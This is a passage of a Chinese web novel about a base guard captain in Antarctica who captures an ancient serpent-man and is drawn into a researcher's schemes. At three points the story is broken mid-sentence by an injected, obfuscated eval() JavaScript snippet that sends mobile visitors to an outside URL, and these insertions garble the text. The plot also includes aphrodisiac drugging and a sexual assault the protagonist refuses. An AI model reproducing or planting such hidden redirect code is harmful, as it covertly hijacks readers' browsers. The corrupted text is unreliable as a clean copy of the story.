比如青时所在的黎明基地就是研究能否将远古生物的基因加入编码,创造更加强大的新新人类。 因为研究内容黎明基地是四个基地中最靠近南极中心的基地,也是最危险的基地。 南极这地方被称为危险的可不是极低的温度,而是那些因为地质活动重新活过来的远古异兽。 这些亿万年前的蓝星霸主沉睡在南极厚厚的冰层下,在生命探测仪上化为一个个大大小小的红点。 联邦的科技没办法凿开南极深层的冰川将他们带出来,但是偶尔会有因为地质活动自行浮上海面的存在苏醒过来。 青时作为黎明基地的守卫队长,除了维护基地日常运作之外,最重要的任务便是追击苏醒过来的远古异兽,并尽量将其活捉带回实验室。 这次的男主就是从冰层下苏醒的远古异兽,被命名为“伏羲”的海诺斯人蛇,生活在三百亿年前的蓝星霸主。 江鸣停下车,“队长,系统报告的生命热源最后的活动痕迹就消失在这附近。” “降落,下车。”青时吩咐。 “是!” 两辆飞车平稳地停在冰面上,所有人下车后飞车表面的模拟涂层激活,闪烁了几下后缓缓和周围环境融为一体。 “你们两两一组探查周围,有情况随时报告。” “是!” 青时掏出腰间的重能枪,在能量槽中填充上麻醉剂,一个人选了一个方向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299438|140220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 探查。 纪青时是融合了隼基因的新人类,动态视力是常人的好几十倍,就算是在看似毫无痕迹的冰层上他也能看到某些微小的蛛丝马迹。 比如千米外突然出现又消失的雪狸。 青时眯了眯眼,缓步朝雪狸消失的地方走过去。 雪地上丢着一张沾满血迹的雪狸皮,青时用脚尖踢了踢,皮毛还很柔软,应该是刚丢下,他端起枪警惕地环顾四周。 破空声从身后传来,青时就地翻滚,转身开了一枪。 没打中。 不过他看清了偷袭自己的东西,一节粗壮的墨绿色蛇尾。 蛇尾?莫不是……男主? 青时默默站在原地没动,精神紧绷地注意着周围的动静。 来了! 听到左后方细微的声响青时反手朝那边开了一枪。 子弹入肉的声音,打中了! 青时转过身却只看到雪地上留下的一滩墨绿泛着荧光的血迹,他小心翼翼靠过去,血迹周围的雪面很凌乱,能明显看出生物活动的迹象。 十、九……青时一边观察四周一边在内心倒数。 他枪里可是十倍浓缩的麻醉剂,一颗的剂量就能放倒一只成年猛犸,小小男主这不是轻松拿下。 数到一的时候一个庞然大物猛的从青时不远处的雪地里翻出来,原地打了几个滚后直挺挺地躺在地上不再动弹。 青时踱步过去欣赏起这个传说中的海陆两栖霸主海诺斯人蛇。 他的上半身是比联邦的成年男子更加高大宽阔的体型,腹肌分明,头发是深黑色,凌乱的披洒在身上,发梢挂着许多未融化的冰碴,五官精雕细琢,比融合狐狸基因的新人类有过而无不及。 下身从腰腹处延伸出去的墨绿蛇尾大概有五米长,蛇鳞颜色外深内浅,腹部靠上的位置有一处竖痕,应该是排泄的腔口。 青时摸了摸下巴,根据残留的资料记载成年雄性海诺斯的蛇尾大多只有3-4米,男主这尾巴一看就不简单。 用脚踢了踢男主的肩膀,确认男主真的失去意识后,青时把手里的枪插回腰间,拨通了队内通讯。 “喂喂喂,队长有什么吩咐?”江鸣的声音从胸前的徽章中传出。 青时:“我发了坐标,都过来。” “是!” 青时刚关闭通讯,低头就对上一双深绿的竖瞳,他瞳孔微缩暗道不妙,脚下意识往后退,结果一步都还没踏出便被突然暴起的男主压倒在雪地里。 他竟然装晕! 眼看男主朝自己咬下,青时用左手挡在身前,右手去摸腰间的枪。 尖利的犬牙穿破手套的保护刺入手腕,青时闷哼一声,右手没能成功拿出重能枪,接着一股热流从手腕处流淌至全身,让他全身突然失了力气。 这是什么?没听说海诺斯的牙齿有毒啊? 过了一会儿男主终于松开口,他一手握着青时的前臂,观察他手上的白色手套,显然十分好奇,长而有力的蛇尾一圈圈缠绕住青时的双腿。 青时感受着身体的不对劲,剧烈的喘息了几下,随即咬着牙抽出腰间的枪,对着男主的腹部连开三枪。 男主似乎因为这突如其来的攻击愣住了,低头看了看自己腹部的伤口,没等做出什么反应,超剂量的麻醉就让他再次晕死过去。 19. 人蛇2 这下应该是真晕了吧? 青时费力的从男主尾巴的缠绕中爬出来,喘着气从地上站起身,他先是看着身上被深绿血迹晕染的作战服狠狠皱了眉,随后想到手腕上的伤口,一把扯开左手手套丢到地上。 还好,只有两个深红的圆点…… 好个屁啊!青时从腕表空间拿出消毒剂不要钱一样喷在手腕上,他感觉自己整个人都脏了! “队长,我们来……”姗姗来迟的江鸣和他的9个组员看着狼狈的青时瞪大了眼。 “队长,你这是?”江鸣小心翼翼的问道。 青时闭了闭眼强忍下想要马上全身消毒去洗澡的心思,冷冷地瞟了一眼江鸣,“把地上那东西捆好带回去,赶紧的!” “是!队长!” 一行人以最快的速度回到基地,青时没等江鸣给他开门,自己拉开车门就下了车,留给江鸣他们一个冷傲的背影。 “东西送去研究园。” “是!” “嘶——”伍峰搓了搓胳膊上的鸡皮疙瘩,感叹道:“好可怕。” 冰凉的消毒液喷洒到身上时青时满心的破坏欲才得以控制。 纪青时是一名基因崩溃症初期患者,严重的洁癖反应就是病症带来的表现之一。 联邦对于患上基因崩溃症的军人一向是遣散为主,但纪青时不甘心就此等死,于是自请来到南极研究基地,所以他不仅是守卫队队长,还是参加实验的试验人员。 当然,为了不引起恐慌,他的另一重身份只有主治研究员知道。 “主人,欢迎回家。” 进入房间的青时受到了机器人管家的热烈欢迎,他却没有理会,脱下衣服就进了浴室。 温热的水流从头顶落下,青时看着手腕上的伤痕眉头紧皱,忍不住上手搓了几下,没成想当手指触摸到变成粉色的圆点时,一阵直击大脑的麻痒突然从伤口处涌出。 “唔!”青时脚下一软差点跪坐下去,他赶忙挪开手不再触碰。 洗了个囫囵澡,青时穿好衣服去研究园找到孟希。 孟希是联邦医科大学毕业的高材生,也是黎明基地的高级研究员之一。 鲜红的血从血管中被抽出,孟希将手中的管子放进检测仪,“等十分钟。” “好。” 青时将挽起的袖子放下,走出孟希的个人实验室。 在一个个银灰小隔间的包围圈中有一片绿色,那是基地的研究园,全名叫生态维护系统研究园。 研究园占地面积大约5000平方米,其内用强化玻璃分格出了不同的区域,它可以为不同生物模拟适宜的生存环境,是专门为远古生物打造的,而玻璃外墙能更好的让研究员观察研究对象。 青时站在研究园的外层玻璃前突然听到里面传出一阵玻璃碎裂的声响,接着他便看到研究园内的生态圈被一道墨绿的身影层层打破。 “伏羲又跑了!” “拦住他!” “麻醉枪,快射击!” “不行啊,速度太快了,根本找不到瞄点!” …… 整个研究园乱成了一锅粥。 青时皱眉看着,正想进去帮忙,就见那道墨绿身影直直朝他这边冲过来,然后“砰”一声撞在外层的纳米强化玻璃上。 听到这清脆的闷响,青时只想问男主的头还好吗,这可是联邦现存最坚硬的玻璃。 {%?#……} 和那双深绿的兽瞳对视的时候,一道低沉沙哑的男声忽然出现在青时的脑海。 青时懵了一下,他不会是病症加重出现幻听了吧? {%……} “砰!”声音又出现了一下,不过因为枪响只出现了一个音,青时看着玻璃里面的男主因为麻醉枪缓缓滑落在地。 ——八八,男主他会说话吗? 886:男主是智慧生物,当然会说话! 所以刚才……是男主在和他说话?但他好像没看见男主张嘴啊? “纪队,结果出来了。”孟希拿着报告出来,正巧看见被人拖走的男主,“‘伏羲’又暴动了?纪队你可是给我们研究园带了个大麻烦回来,这短短几小时他已经损毁了不知道多少块钢化玻璃了。” 青时双手抱胸,淡淡道:“那我把他放回去?” “噗,我倒是想同意,”孟希笑道,“可惜议会不会同意,‘伏羲’可是我们第一次捕捉到的三百亿年前的活体。” 青时耸耸肩,“那就受着吧,我只管带回来,可不管研究。” “行行行,”孟希无奈地摇摇头,“你的血检没问题,没有任何中毒迹象。” 青时皱了皱眉,“那为什么伤口会出现那样的感觉?” 孟希摸摸下巴,“也许是你的皮肤应激了。海诺斯人蛇是不具备毒液的,他们力气很大能直接撕裂猎物。” 青时抿了抿嘴,“行吧。那我先走了。” * 夜深人静。 洁白的单人床上陷入沉睡的青年清冷的面容在某一刻爬上些许红晕,压抑的闷哼从他的鼻腔中传出。 眉头微微皱起,脸上的红晕越来越深,修长白皙的指节紧紧抓握在一起,腰间的薄被翻出上扬的弧度…… 幽蓝的眼眸缓缓睁开,青时掀开被子坐起身,看着被子下的狼藉,他满头问号。 纪青时作为新人类从来都清心寡欲的,怎么会突然出现如此……荒诞的梦境。 青时起身走向浴室,一边走一边招呼管家机器人,“十六,换床单。” “好的,主人。” 热水带走了黏腻,但青时还是能依稀感受到皮肤上被什么粗糙又滑腻的东西摩擦过后的触感,让他不由得回忆起刚才的梦境。 具体发生了什么已经记不清了,只记得自己的双腿好像被什么东西紧紧纠缠。 青时忍不住扶额,他怎么会突然……难不成是因为单身太久,变态了? 想不通的青时也没有了睡意,坐在床头打开通讯手环安排起早上的守卫队工作,这时他注意到消息栏里多了几条未读。 是孟希发来的,大意就是联盟派了更高级别的研究员接手‘伏羲’,大概明天下午会到,需要他安排并接待一下。 新的研究员?青时皱皱眉头,回复了收到。 “你好,我是柏霖。” 青时看着面前这位五六十岁的帅大叔心下有些震惊,柏霖就是那位发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299439|140220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现X因子的研究员,在联邦属于元老级人物,没想到来的竟然是他。 “您好,黎明基地守卫队队长纪青时。”青时朝柏霖微微颔首,转眸看向他身后二十来岁的年轻人,“这位是?” “他是我的学生兼助手柏古。”柏霖介绍道。 “好。”青时退后两步露出背后的副手文森,“麻烦两位将腕表空间打开,我们需要检测一下违禁品。” “你们这破地方规矩这么多?”柏古嗤笑道。 青时没回话,只沉默的看着他,柏古嚣张的气焰在他的冷凝气势下萎缩。 “好了,柏古,人家也只是例行检查,我们配合就好。”柏霖开口打圆场。 柏古不情不愿地应了声,“哦。” 文森拿着仪器快速在两人身上扫了下,“队长,绿色。” 青时点了点头,对柏霖说:“柏霖先生,住所和实验室都已经安排好了,您是想先参观一下基地还是先休息?” “我们要先去看‘伏羲’!”柏古插嘴进来。 青时瞟了他一眼又看向柏霖,柏霖无奈一笑,“见谅,我这学生的性子比较跳脱。就依他所言,麻烦纪队长带我们先去看看‘伏羲’吧。” 柏霖对他这学生态度真包容。 “好的,请跟我来。” 青时带着柏霖二人进了研究园,男主被关在左侧外围的正方形空间内,空间四周全是纳米级强化玻璃。 此时的男主尾巴蜷缩在一起,背靠玻璃闭着眼睛,似乎在休息。 柏古见了男主双眼一亮,越过柏霖和青时冲到玻璃前,神情痴迷地望着他,土黄的瞳孔已经变成了两条竖线,口中喃喃自语:“这就是“伏羲”吗?好俊美的脸庞,好优越的身形……” 不过当他注意到男主所处的简陋环境时,他眉头一蹙,回头怒视青时,“你们黎明基地怎么能这么敷衍的对待珍贵的实验品!没有模拟环境就算了,怎么能把‘伏羲’关在这么狭小的地方?!” “……”青时表示不想搭理他。 “柏古先生,是这样的,‘伏羲’他破坏力太强,一般的强化玻璃完全拦不住他。”文森上前一步解释道,“自从他进入研究园已经毁坏5次生态圈了,我们不得已才将他安排在这个全纳米玻璃的空间。” “这样吗……”柏古嘟囔着回头,“果然和记载一样力大无穷。” 柏霖也站到玻璃前仔细打量男主,“不愧是三百亿年前的霸主,人体和蛇身竟然能融合的这么完美。” “老师,我能不能进去看看他!”柏古忽然兴致勃勃道。 听见柏古的话青时眉毛微挑,他是想找死吗? 眼看柏古要打开门面对凶残的‘伏羲’,而青时丝毫没有上前阻止的想法,副队文森不得不头疼的站出来劝阻,“柏古先生,‘伏羲’他很危险,至今没有研究员能在他清醒时近他的身,您看要不要先放麻醉剂再进去?” “不用。”柏古一意孤行的打开门进去。 文森求助的目光瞥向自家队长,见他不开口,又看向柏霖。 “没事,柏古他体内有太攀蛇的基因,和‘伏羲’隶属同源,不会引发‘伏羲’的排斥的。”柏霖微笑着安慰文森。 20. 人蛇3 玻璃外的三人瞧见有着太攀蛇基因的柏古一步一步朝‘伏羲’靠近,而‘伏羲’也确实没有因为他的进入而暴动。 当柏古来到‘伏羲’周身三米内,他看着脚下泛着磷光的蛇尾,忍不住弯下身想上手摸摸。 结果这一摸就出了事,没等他的手挨上鳞片,那条成人大腿粗的蛇尾以迅雷不及掩耳之势将他抽飞出去。 “噗咳咳……”柏古倒在玻璃门口,吐着血。 见他的惨状文森赶紧带着人将他拖出来,又从腕表空间掏出治疗药剂喂给他。 柏古被救出后男主睁开狭长的眼帘,游移着来到青时他们站立的玻璃前,居高临下的打量着他们。 那双深邃的墨绿竖瞳带着野兽的凶厉,冷冷地从每个人身上划过,最后落在青时身上。 柏霖看着‘伏羲’的反应皱起眉,似是遇到什么难题,“不应当啊……” “纪队长,‘伏羲’带回研究园后喂食过吗?他刚从沉睡中醒来应该是需要大量进食补充体力的。” 青时正和男主互相对视,较劲一般,闻言他转头询问副队,“文森?” “队长,柏霖先生,‘伏羲’自从来到研究园还未进过食,不管是死物还是活物放进去他都不屑一顾。”文森回答。 柏霖感叹,“难怪如此凶悍。” 三十多个小时男主一直没吃东西? 青时轻啧一声,人可不能在他手里出事啊,“文森你把要喂给他的东西拿来。” 文森带来了几条身长一米的冰冻马鱼,这是南极最常见的食物。 青时忍着恶心抓起一条马鱼的尾部拖着走进了男主所在的玻璃门。 刚进去男主就直直朝青时移过来,长长的尾部拖行在地上,支起身的男主比青时高了不止两个头。 巨大的身高差十分悬殊,青时抿着唇望着男主,他没有从他身上感受到攻击的意图,所以也没有做出防御反应,他想看看男主究竟想干什么。 男主停在了青时身前一米处,刚好踩在青时能接受的社交距离临界线上。 宽厚的分叉蛇信从浅色的薄唇中探出,仿佛在探索着什么。 深绿的双眸眼都不眨的盯着青时。 “qing……” 熟悉的沙哑男声从男主微张的薄唇中吐出,青时一怔。 男主这是在叫他的名字? “天呐,他会说话!他是智慧生物!”玻璃外传来柏古咋呼的声音。 青时回过神,将手里的鱼丢到男主面前,简洁道:“吃。” 伽看了看脚边的鱼又看了看自己标记的配偶,意识到这鱼是配偶带给自己的食物,于是他捡起鱼用手指划开鱼皮,优雅地啃起鱼肉。 青时看男主吃起东西,松了口气,转身要出去,结果他刚挪动脚就见男主抬头望向他,等看到他停下他才继续吃。 麻烦。 青时只好站在男主面前看他一连吃了十条马鱼,才从他满足的神情里察觉到吃饱的信息。 “不好意思,柏霖先生,我有些事要处理,接下来就由文森带你们参观吧。”受不了浑身鱼腥味,青时向柏霖告辞。 额角青筋暴起的青时快步走回住所,连洗三遍澡才将恶心的鱼腥味压下去。 * 一连几天青时天天晚上梦见自己在做不可描述之事。 他意识到了不对劲,就算再饥渴他也不至于天天想这事吧? 顶着青黑的眼圈青时去找孟希做了个全身检查。 “你这数值正常的很呐,甚至比你之前还平稳些,没什么问题啊!”孟希分析完屏幕上的数值说道。 青时按了按自己的太阳穴,“都正常,那我……”怎么天天做那种梦? 难不成是男主对他做了什么? 青时隔着手套摸了摸自己的左手腕,那里曾经有两个消失的犬齿痕迹。 孟希注意到对面青时眼下的青黑,“青时你应该是太累了,要不给自己放个假吧。” 青时白了他一眼,“我要能放假还来找你干嘛。” 孟希耸耸肩,“也是,咱们纪队长是大忙人。” “走了。” 说着青时打开门走出去。 “纪队长。”柏霖从研究园里走出,叫住青时。 青时朝他颔首,“柏霖先生,有事?” 柏霖:“是这样的,‘伏羲’他还是不肯吃东西,所以我想麻烦你能不能再去喂他一次。” 青时不着痕迹地皱了下眉,“您那个学生还不能喂吗?” 柏霖尴尬道:“柏古他还没有取得‘伏羲’的信任,最多只能接近‘伏羲’一米之外。” “……行。”青时舌尖顶了顶侧牙,答应下柏霖的请求,“什么时候喂,现在吗?” “可以可以。”柏霖连连点头。 “那我们过去吧。”青时扯了扯手套,进入研究园。 男主还是呆在先前的纳米玻璃房里,只是不知道谁给他放了个黑皮沙发进去。 男主懒洋洋地躺在沙发上,双眼半眯,尾巴尖儿在地上左右摇摆。 那悠闲样儿让全年无休的劳模青时十分眼红。 “老师。”柏古注意到走来的柏霖和青时,却只向柏霖打了招呼。 青时没有在意他的不尊重,只问:“要喂的东西在哪?” “柏古,把食物给纪队长,今天先让他喂。”柏霖吩咐柏古。 柏古努努嘴,不太情愿地将装着马鱼的手腕空间表递给青时。 “啧。”青时拿出消毒剂对着空间表一顿喷之后,才在柏古不可置信地眼神中接到手里。 刚打开玻璃门进去,男主唰一下就睁开眼,跟闻见腥味儿的猫一样朝青时的方向游过来。 青时将空间表里的十条马鱼倒出来,“吃吧。” 老婆又来投喂他啦,开心!吃着鱼的伽尾巴尖悄悄翘起。 “老师,他的基因图谱里没有与蛇相关的吧,为什么‘伏羲’这么亲近他?”柏古看着在青时面前十分听话的‘伏羲’很是妒忌。 一旁的柏霖表情若有所思,“可能是‘伏羲’与这位纪队长的磁场更加吻合吧。” “哼。”柏古不屑地冷哼一声,他才应该是‘伏羲’最亲近、最喜爱的人,纪青时算什么,不过比他多和‘伏羲’相处了两天罢了。 看着男主吃完东西,青时将腕表抛回给柏古,“还有事,先走了,柏霖先生。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299440|140220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 柏霖朝他微笑道:“慢走,纪队长。” * “不对……都不对……还有什么可以?”柏霖看着自己满桌的研究报告陷入了沉思,一会儿后他像是想到什么,喃喃道:“对了,还有那个没拿到……” 说着柏霖打开实验室的门,彼时青时正好刚喂完食从玻璃门里出来。 这已经是这个月青时第四次过来给男主喂食了。 柏古在一次强行尝试喂食‘伏羲’差点被一尾巴抽死后,就没有胆子再进行这项工作了,所以这件事被迫抡到了青时头上,让本来就很忙的他雪上加霜。 “纪队长,能谈谈吗?”柏霖叫住准备离开的青时。 青时眼里露出淡淡的疑惑,但还是走了过去,“柏霖先生您想和我谈什么?” 柏霖打开实验室的大门,“进来说。” “……好。” 青时走进去后,柏霖关上门,原本在观察‘伏羲’的柏古见状悄悄凑过去,耳朵贴着门缝开始偷听。 “纪队长,想请你帮个忙。”柏霖开口。 “您说。”从柏霖脸上看不出情绪波动,青时打算听听具体内容。 柏霖拿起桌上的纸质报告,一张张翻看,“是这样的,‘伏羲’的血液、鳞片、头发、唾液中都未能获得我想要的基因片段。” “所以呢,需要我做什么?”青时不理解他能在这里面帮上什么忙。 柏霖:“‘伏羲’身上有一样东西我们还没取到,我希望纪队长能帮忙取一下,毕竟只有您能在他清醒时亲近他。” “什么东西?” 当青时询问的目光落到自己脸上时,柏霖微微一笑,“□□。” “……”青时差点以为自己听岔了,说的什么虎狼之词。 磨了磨侧牙,青时眸色渐冷,“我拒绝。” 说完他没等柏霖继续回话便打开门出去,差点撞到门口的柏古。 “没长眼睛啊,走路看着点。”柏古先发制人。 青时冷冷地瞥了他一眼,绕开他离开了此地。 无礼的家伙!柏古恶狠狠地瞪了一眼青时的背影,然后他别扭地打开实验室的门。 “老师,您不是说主要由我接触‘伏羲’吗,为什么要找那个冰块脸取□□?”柏古嚷嚷道,“而且人家还拒绝了。” 柏霖不带情绪地望了一眼柏古,“还不是因为你没用,这么多天了还是没办法近距离接触‘伏羲’,老师我为了研究进度不得不去求别人。” “没什么事的话就多去和‘伏羲’相处吧。” “是。”柏古从牙齿缝里挤出一个字,紧紧攥着拳转身离开实验室。 “砰”一只拳头狠狠砸在纳米玻璃上,鲜血炸开一朵艳红的花。 柏古五官扭曲,眼神愤恨,有种择人而噬的恐怖。 纪青时!明明他才是和‘伏羲’最契合的人,柏霖老师也是因此才特地将他带上,为什么会出现一个纪青时! 柏古抬头看向玻璃内除了纪青时来喂食其他时候全都无精打采的‘伏羲’,眼神变幻,似乎下定了某种决心。 只要他先取得□□,老师一定会对他刮目相看,纪青时算个什么东西! 21. 人蛇4 孟希沉默地盯着透明检测仓里的青时,眼神从上至下依次划过那优越的眉骨、纤长的睫毛、挺翘的鼻梁、浅淡的薄唇。 他的视线久久停在那颗圆润的唇珠上。 不知道被人狠狠啄吻后会不会露出惑人的颜色。 应该没有人敢这么做吧,毕竟这张脸的主人总是用锋利掩盖自己的美丽,就像带刺的花,没有人敢上前采撷。 孟希不由得回忆起他和青时的初遇,那时他还是医科大学的一名普通学生,回家途中遭遇了恐怖袭击,当时青时就像是救世主一样降临在他面前,三下五除二解决了那群穷凶极恶的恐怖分子。 强大、美丽、脆弱这样三个相悖论的词竟然能同时出现在一个人身上。 也许他早已不记得他,但他却没有一天能忘记那道身影,忘记那只骨骼分明的手微凉的触感。 那是他第一次牵他。 孟希看了看青时手上银白的手套。 也是最后一次。 从那之后他疯狂的搜集与他相关的一切。 他了解到他是联邦最年轻的中将,也是下任联邦议会委员的有力竞争者,为了能离他更近一点,他考进了联邦中心院。 然而没想到第二次见面却得知他成为了基因崩溃症患者,听到他自请调往南极,他想都没想跟着打了报告。 从繁华的主城来到贫瘠的南极大陆,他成了他的主治,他成了他的试验员,这应该是这辈子他们最亲密的关系了吧。 想着想着孟希的嘴角微微上扬。 被银白贴合的手套包裹的修长手指在金属桌面上轻轻敲击了一下,“想什么呢,笑得这么开心?” 孟希回过神,尴尬一笑,“没想啥,检查结束了?” 青时:“你说呢?” “你等下哈,我看下结果。”孟希手忙脚乱的调出青时的检测报告,“唔,基因紊乱程度稍有加重,但没有超过阈值,用维持剂量就行。” 说完孟希戴上无菌手套从冷冻柜中取出一只红色试剂,管身标签上写有一个大大的“X”。 他用针剂抽出一支放到托盘里,“好了,你还是自己来?” “嗯。”青时上前撸起袖子眼都不眨地将针剂注射进身体。 注射完青时整理好衣服,向孟希告辞,“走了。” 身后孟希呆呆望着他离去的背影,直到看不见人影,才低头自嘲一笑。 * 几天后的一个深夜,黎明基地陷入沉寂之时,一个偷偷摸摸的身影来到了关押‘伏羲’的玻璃门外。 将手里三管诱导发、情剂混合着麻醉剂喷洒进‘伏羲’所处的空间,柏古喘着粗气,激动的期待着接下来会发生的事。 特地多等了几分钟,看着陷入沉睡的‘伏羲’柏古悄然打开玻璃门。 土黄的瞳孔变成竖瞳,他身上散发出甜腻的香味,是雌性太攀蛇的荷尔蒙味道。 睡梦中的青时被急促的通讯铃声吵醒,是副队文森的呼叫。 一般没有紧急情况文森不会大半夜给他打通讯的,青时按下接通键,文森急切的报告声从通讯器里传出: “队长,‘伏羲’出逃,我已封锁基地所有出入口,但暂时还未能找到‘伏羲’踪影。” 青时眉间拢起“川”字,“通知所有研究员暂时不要外出,守卫队全体出动彻查基地!” “是!” 吩咐完青时换好衣服出门,打算去查看基地监控,结果刚出门迎面就撞上了浑身是伤的男主。 墨绿的蛇尾上大大小小的伤口血肉外翻,触目惊心,上半身也满是绿色的鲜血,尤其是右肩,一条裂痕深可见骨。 此时男主那双深绿的双眸竟然透出一些赤红,青时被他盯得头皮发麻。 男主这是怎么了,难道这就是他下线的节点? 【叮】 【剧情推进任务:激怒男主,限时3分钟。】 听完任务青时顿时觉得有些牙疼,男主现在这状态还用得着激怒,感觉下一秒就能抽死他,这是嫌他死的不够快吗? 内心无语地“啧”了声,青时掏出枪对着男主完好的左肩开了一枪,这次可不是麻醉剂,而是能量弹。 “啪!”伽的肩头炸出一个拳头大的缺口,疼痛加剧了他沸腾的血液,他现在只想抓住眼前的配偶,狠狠地压住他交、配,要将身体里的热意发射出去。 眼看男主极速朝自己冲过来,青时以为是自己的激怒奏效了,看到蛇尾划过来时他还特意把自己往上面撞过去。 没成想蛇尾却是卷住他的腰,将他卡进男主怀里。 跨坐在男主腰腹蛇身上的青时愣了一下,随后下意识抬手想再开一枪,眼前却在这时候突然开始眩晕。 不是吧,早不发作晚不发作偏偏这个时候发作?他不是最近刚打过药吗? 重能枪从无力的指尖滑落,青时咬着牙神情隐忍,努力和混乱的脑子做对抗,偏偏男主这时候还在捣乱。 伽嗅着怀里配偶身上的冷香,原本还剩一丝的理智彻底断开。 细长的尾巴尖从青时的背后绕上来缠住白皙修长的脖颈,伽伸出自己的舌探进了因为缺氧而张开的温热。 “唔唔……”纤长的舌卷着温软的舌,分叉的舌尖似乎进入了喉咙深处,咽不下的涎水从两人相交的唇角流下。 青时眼前一阵阵发黑,他也不知道究竟是因为缺氧还是其他什么…… 脑海的翻腾终于渐渐平息下来,青时恢复了一些气力,大腿边似乎有两根带刺的树干,他不敢细想那究竟是什么,“停……停下……”被侵占的喉头挤出含糊的拒绝。 然而眼前的兽类显然不打算放过他,听见他的声音更加激动地加深了占有。 滑腻的鳞片从身体表面摩擦而过,这种奇异的触感和青时做了许久的荒诞的梦境竟然缓缓重叠。 “不……”生理性的眼泪从眼角滑落,戴着银白手套的双手在伽坚韧地皮肤膜上刻出十道白痕。 【任务超时未完成】 【惩罚:本次任务武力值减10,敏感值加10。】 收到惩罚的那一刻,青时感觉自己原本有力的身躯瞬间沉重了许多,而被男主接触的地方触感则更加清晰。 这什么惩罚,也太变态了! “队长!” “砰砰砰”几声枪响。 失去理智的男主没有注意到周围来人,被打了个正着,巨量的麻醉进入血液压下了他内心的火热。 伽护着怀里的配偶倒在地上,不甘地闭上了双眼。 “队 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闻言886的警惕心瞬间升起:怎么了怎么了?男主他又做出啥惊天动地的举动了吗? ——倒也没有那么夸张,只是他今天逃出来遇到我却没有对我下杀手…… 青时隐瞒了男主对他做的那些过分的事。 886:男主跑掉了吗? ——没有,被抓住了。 886放下心来:那没事。可能是你的死亡剧情不在这里,再等等看吧。 ——……好。 青时摸了摸自己的左手腕,微微叹了口气。 中央厅。 黎明基地守卫队13个小组组长外加副队文森齐齐坐在方形桌子两侧,静默在空气中蔓延。 青时在主位望着他们久久未曾言语。 “今晚巡察组的说说吧,怎么回事?” 3号巡察组组长张科站起来,“报告队长,今日凌晨3:15分研究园内‘伏羲’打破纳米玻璃出逃,现场留有血迹若干与研究员柏古尸体一具。” “经监控调查查明,系研究员柏古私下进行实验导致‘伏羲’暴走。” “巡察组收到警报全体出动,于凌晨3:45分带回‘伏羲’,除柏古外无其他人员伤亡。” 张科报告完文森见青时不说话,接过话头,“诸位,虽然今夜仅有一人伤亡,但柏古毕竟是柏霖先生的学生,我们得给人家一个交代。” “格老子的,那小子自己不晓得偷摸搞了些什么见不得人的实验,他这死了个彻底,让我们给他收拾烂摊子。”暴脾气的江鸣没忍住爆了粗口。 “就是就是!”…… 青时抬手示意他们安静,“巡查三组全体领罚。从今天开始加强夜间巡逻,我不希望今晚的事再发生一遍。至于柏霖先生那边……”他按了按胀痛的太阳穴,“我去和他沟通。” “是!队长!” “散会。”青时起身走出大厅,在去找孟希再做一次检查和去见柏霖之间摇摆了一下,随后脚下一转做出了选择。 也正是这个选择,让他一步错步步错,踏入了他人精心布置的陷阱。 22. 人蛇5 “柏古之死只能算他咎由自取,我不会因此埋怨守卫队守卫不力,”柏霖看着站在实验台前身姿挺拔的青年,眼中闪过一抹势在必得,“现在的重点是‘伏羲’,他被柏古投放了过量发情诱导剂,正处于极度暴躁易怒状态。” “如果不能得到及时安抚,那我们可能就会失去这个珍贵的实验体,到时候联邦议会追责,我们都逃不过。” 听出了柏霖的言下之意,青时眯了眯双眼,“有办法能安抚‘伏羲’吗?” 柏霖微笑望着青时,“我没办法安慰‘伏羲’,但……您可以。” “我?”青时右手按上腰间的重能枪,深蓝的眸光化作利刃刺向柏霖,“我能做什么?” “纪队长,别着急,”柏霖好整以暇地找了个椅子坐下,才接着开口,“雄性海诺斯人蛇有个习性,就是会将自己的荷尔蒙注入看中的配偶体内,以此达到标记和震慑他人之用。” 闻言青时微微一怔,下意识想到左手腕男主咬出的伤口,难道那个时候…… 柏霖双手交叉在腹部,就这样躺在椅子上,一派悠闲模样,“我特地挑选了柏古这个有着太攀蛇基因的学生一起来见‘伏羲’,就是为了能诱导出他的配偶反应。” “令我没想到的是‘伏羲’刚刚苏醒就已经为自己选定了配偶,”青时能感觉到柏霖眼尾的余光落在自己身上,“按道理来说纪队长你的隼基因应该是蛇类天敌才对,就像你和我那学生一样互相看不顺眼。” “不过我们毕竟对海诺斯人蛇的了解不多,也许这种奇特的智慧生物已经跳出了生物链也说不定,毕竟他们可是传说中最接近‘神’的形态。” 听了一大堆废话,青时顶了顶侧牙,“所以呢,柏霖先生你说这么多,需要我怎么做?” “接下来几天我希望纪队长能和‘伏羲’共处一室,用你身上的气息安抚他。” 共处一室?青时几乎下意识想起男主那个仿佛将他吞吃入腹的吻,他瞳孔微颤,“不……” 